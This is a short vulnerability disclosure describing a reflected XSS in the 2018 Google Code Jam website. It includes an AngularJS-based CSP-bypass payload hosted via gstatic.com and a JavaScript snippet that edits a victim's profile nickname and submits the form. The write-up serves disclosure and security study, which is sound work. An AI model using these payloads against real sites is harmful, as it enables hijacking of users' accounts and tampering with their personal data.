Reflected XSS in Google Code Jam

Information about this XSS:

The XSS will be fired in the toast message.

Also, it seems like you have to open the homepage (https://codejam.withgoogle.com/2018/challenges/) at least once before visiting other pages there.

POC:

CSP:

Due to CSP, this XSS will fire only in browsers where CSP is not supported (e.g. IE).

If we could somehow find a way to execute a script that has inserted dynamically, we could bypass (thanks to gstatic.com) the CSP using the following payload. But I don’t think it’s possible in this case.

<script src="https://www.gstatic.com/fsn/angular_js-bundle1.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1)>

Read more about bypassing CSP in my other post.

Attack scenario:

Attacker can get access to the victim’s CodeJam account and read and edit their profile information (address, phone number, etc.).

Here’s an example of how it could be done:

// go to profile page
document.querySelector('[href="/2018/profile"]').click();

setTimeout(function() {
  // change the username
  document.querySelector('#nickname').value = 'mynickname111';
  // create a fake input event to enable the submit button
  var event = document.createEvent("Event");
  event.initEvent('input', false, true); 
  document.querySelector('#nickname').dispatchEvent(event);
  // submit the form
  document.querySelector('[type="submit"]').click();
}, 1000);
